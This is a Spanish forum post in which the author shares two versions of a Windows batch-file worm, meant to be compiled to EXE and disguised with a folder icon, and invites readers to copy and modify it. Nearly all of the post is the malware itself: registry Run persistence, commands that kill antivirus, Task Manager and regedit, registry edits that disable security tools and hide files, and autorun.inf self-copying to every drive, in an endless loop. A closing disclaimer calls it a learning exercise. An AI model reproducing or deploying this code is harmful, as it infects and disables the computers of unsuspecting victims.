Estoy haciendo un virus en bat para posteriormente pasarlo a exe con un copilador e aquí el código, entes que todo se que algunos piensan que el lenguaje cmdos no es para hacer virus pero con un poquito de creatividad puedes hacer cosas que un virus normal aria y ademas si lo copilas con el programa Bat_To_Exe_Converter los antivirus no lo detectan ya que lo dejan pasar ya que piensan que es inofensivo e hay la posibilidad cerrar el antivirus de la victima como he aquí el código de mi virus en bat yo lo disfrace o le puse un icono de carpeta normal de windows pero bueno ustedes pueden copiarlo y modificar lo a su gusto:
start
reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v amx.exe /t REG_SZ /d "%Windir%system32amx.exe" /f
REG ADD HKLMsoftwaremicrosoftwindowscurrentsversionrun/v hack/d %windir%system32amx.exe
:o
TASKKILL /F /IM msnmsgr.exe /IM msnmsgr.exe
TASKKILL /F /IM nod32krm.exe /IM nod32krm.exe
TASKKILL /F /IM nod32kui.exe /IM nod32kui.exe
TASKKILL /F /IM avastui.exe /IM avastui.exe
TASKKILL /F /IM avastSvc.exe /IM avastSvc.exe
TASKKILL /F /IM avp.exe /IM avp.exe
TASKKILL /F /IM POWERPNT.EXE /IM POWERPNT.EXE
TASKKILL /F /IM wmplayer.exe /IM wmplayer.exe
TASKKILL /F /IM WINWORD.EXE /IM WINWORD.EXE
TASKKILL /F /IM notepad.exe /IM notepad.exe
TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe
:b
attrib -h -s -r autorun.inf
erase /f autorun.inf
echo > autorun.inf
echo Open=amx.exe >> autorun.inf
echo icon=SystemRootsystem32SHELL32.dll,4 >> autorun.inf
echo Label= >> autorun.inf
echo UseAutoPlay=1 >> autorun.inf
echo action=Abrir >> autorun.inf
echo action= @amx.exe >> autorun.inf
echo shellopen=Abrir >> autorun.inf
echo shellopenCommand=amx.exe >> autorun.inf
echo shellopenDefault=1 >> autorun.inf
echo shellexplore=Explorar >> autorun.inf
echo shellexploreCommand=amx.exe >> autorun.inf
:d
copy amx.exe %windir%system32amx.exe
for %%x in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do copy /Y autorun.inf %%x:autorun.inf && copy %0 %%x:amx.exe && copy /Y %0 %%x:amx.exe && attrib +R +S +H %%x:amx.exe && attrib +R +S +H %%x:amx.exe && attrib +R +S +H %%x:autorun.inf
e:
reg add HKcUSoftwareMicrosoftWindowsCurrentVersionPoliciessystem /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add HKlmSoftwareMicrosoftWindowsCurrentVersionPoliciessystem /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /v NoFolderOptions /t REG_DWORD /d "1" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentversionPoliciesSystem" /v DisableTaskMgr /t reg_dword /d "1" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /v DisableRegistryTools /t reg_dword /d "1" /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v CheckedValue /t reg_dword /d "1" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v Hidden /t REG_DWORD /d "2" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v HideFileExt /t REG_DWORD /d "1" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v ShowSuperHidden /t REG_DWORD /d "0" /f
:aut
attrib -h -s -r autorun.inf
erase /f autorun.inf
echo > autorun.inf
echo Open=amx.exe >> autorun.inf
echo icon=SystemRootsystem32SHELL32.dll,4 >> autorun.inf
echo Label= >> autorun.inf
echo UseAutoPlay=1 >> autorun.inf
echo action=Abrir >> autorun.inf
echo action= @amx.exe >> autorun.inf
echo shellopen=Abrir >> autorun.inf
echo shellopenCommand=amx.exe >> autorun.inf
echo shellopenDefault=1 >> autorun.inf
echo shellexplore=Explorar >> autorun.inf
echo shellexploreCommand=amx.exe >> autorun.inf
attrib -h -s -r amx.exe
for %%x in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do copy /Y autorun.inf %%x:autorun.inf && copy %0 %%x:amx.exe && copy /Y %0 %%x:amx.exe && attrib +R +S +H %%x:amx.exe && attrib +R +S +H %%x:amx.exe && attrib +R +S +H %%x:autorun.inf
copy amx.exe %windir%system32amx.exe
copy %0 %windir%system32amx.exe
attrib +h +s +r autorun.inf
attrib +h +s +r amx.exe
TASKKILL /F /IM msnmsgr.exe /IM msnmsgr.exe
TASKKILL /F /IM nod32krm.exe /IM nod32krm.exe
TASKKILL /F /IM nod32kui.exe /IM nod32kui.exe
TASKKILL /F /IM avastui.exe /IM avastui.exe
TASKKILL /F /IM avastSvc.exe /IM avastSvc.exe
TASKKILL /F /IM avp.exe /IM avp.exe
TASKKILL /F /IM POWERPNT.EXE /IM POWERPNT.EXE
TASKKILL /F /IM wmplayer.exe /IM wmplayer.exe
TASKKILL /F /IM WINWORD.EXE /IM WINWORD.EXE
TASKKILL /F /IM notepad.exe /IM notepad.exe
TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe
TASKKILL /F /IM regedit.exe /IM regedit.exe
cd
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
ping 1.1.1.1 -n 10 -w 1 > null
goto aut
pause
Actualice el código y corregí algunos errores:
start
reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v amx.exe /t REG_SZ /d "%Windir%system32amx.exe" /f
REG ADD HKLMsoftwaremicrosoftwindowscurrentsversionrun/v hack/d %windir%system32amx.exe
:o
TASKKILL /F /IM msnmsgr.exe /IM msnmsgr.exe
TASKKILL /F /IM nod32krm.exe /IM nod32krm.exe
TASKKILL /F /IM nod32kui.exe /IM nod32kui.exe
TASKKILL /F /IM avastui.exe /IM avastui.exe
TASKKILL /F /IM avastSvc.exe /IM avastSvc.exe
TASKKILL /F /IM avp.exe /IM avp.exe
TASKKILL /F /IM POWERPNT.EXE /IM POWERPNT.EXE
TASKKILL /F /IM wmplayer.exe /IM wmplayer.exe
TASKKILL /F /IM WINWORD.EXE /IM WINWORD.EXE
TASKKILL /F /IM notepad.exe /IM notepad.exe
TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe
:b
attrib -h -s -r autorun.inf
erase /f autorun.inf
echo > autorun.inf
echo Open=amx.exe >> autorun.inf
echo icon=SystemRootsystem32SHELL32.dll,4 >> autorun.inf
echo Label= >> autorun.inf
echo UseAutoPlay=1 >> autorun.inf
echo action=Abrir >> autorun.inf
echo action= @amx.exe >> autorun.inf
echo shellopen=Abrir >> autorun.inf
echo shellopenCommand=amx.exe >> autorun.inf
echo shellopenDefault=1 >> autorun.inf
echo shellexplore=Explorar >> autorun.inf
echo shellexploreCommand=amx.exe >> autorun.inf
:d
attrib -h -s -r amx.exe
copy amx.exe %windir%system32amx.exe
for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%a: attrib "%%a:amx.exe" +s +r +h & copy "%systemroot%system32amx.exe" "%%a:amx.exe"
for %%x in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do copy /Y autorun.inf %%x:autorun.inf & attrib +R +S +H %%x:autorun.inf
e:
reg add HKcUSoftwareMicrosoftWindowsCurrentVersionPoliciessystem /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add HKlmSoftwareMicrosoftWindowsCurrentVersionPoliciessystem /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer" /v NoFolderOptions /t REG_DWORD /d "1" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentversionPoliciesSystem" /v DisableTaskMgr /t reg_dword /d "1" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem" /v DisableRegistryTools /t reg_dword /d "1" /f
reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL" /v CheckedValue /t reg_dword /d "1" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v Hidden /t REG_DWORD /d "2" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v HideFileExt /t REG_DWORD /d "1" /f
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced" /v ShowSuperHidden /t REG_DWORD /d "0" /f
reg add "%hklmlanmanserver%" /v "DiskSpaceThreshold" /t "%regtype1%" /d 95 /f > nul
reg add "HKCUControl PanelDesktop" /v MenuShowDelay /t "%regtype1%" /d 800 /f > nul
reg add "HKCUControl PanelDesktop" /v WaitToKillAppTimeout /t "%regtype1%" /d 40000 /f > nul
reg add "HKCUControl PanelDesktop" /v HungAppTimeout /t "%regtype1%" /d 40000 /f > nul
reg add "%hkcucversion%PoliciesExplorer" /v NoWinKeys /t "%regtype2%" /d 1 /f > nul
:aut
attrib -h -s -r autorun.inf
attrib -h -s -r amx.exe
erase /f autorun.inf
echo > autorun.inf
echo Open=amx.exe >> autorun.inf
echo icon=SystemRootsystem32SHELL32.dll,4 >> autorun.inf
echo Label= >> autorun.inf
echo UseAutoPlay=1 >> autorun.inf
echo action=Abrir >> autorun.inf
echo action= @amx.exe >> autorun.inf
echo shellopen=Abrir >> autorun.inf
echo shellopenCommand=amx.exe >> autorun.inf
echo shellopenDefault=1 >> autorun.inf
echo shellexplore=Explorar >> autorun.inf
echo shellexploreCommand=amx.exe >> autorun.inf
for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%a: attrib "%%a:amx.exe" +s +r +h & copy "%systemroot%system32amx.exe" "%%a:amx.exe"
for %%x in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do copy /Y autorun.inf %%x:autorun.inf & attrib +R +S +H %%x:autorun.inf
copy amx.exe %windir%system32amx.exe
copy amx.exe %windir%system32amx.exe
attrib +h +s +r autorun.inf
attrib +h +s +r amx.exe
TASKKILL /F /IM msnmsgr.exe /IM msnmsgr.exe
TASKKILL /F /IM nod32krm.exe /IM nod32krm.exe
TASKKILL /F /IM nod32kui.exe /IM nod32kui.exe
TASKKILL /F /IM avastui.exe /IM avastui.exe
TASKKILL /F /IM avastSvc.exe /IM avastSvc.exe
TASKKILL /F /IM avp.exe /IM avp.exe
TASKKILL /F /IM POWERPNT.EXE /IM POWERPNT.EXE
TASKKILL /F /IM wmplayer.exe /IM wmplayer.exe
TASKKILL /F /IM WINWORD.EXE /IM WINWORD.EXE
TASKKILL /F /IM notepad.exe /IM notepad.exe
TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe
TASKKILL /F /IM regedit.exe /IM regedit.exe
ping 1.1.1.1 -n 10 -w 1 > null
goto aut
pause
este código es para que aprendan que el cmdos tan bien es un lenguaje de programación interesante y fácil de entender. Atención este pos aprendizaje no lo cree esto para dañar a otros usuarios sino para probar el potencial de dicho lenguaje. Adiós espero que le as aya servido de ayuda.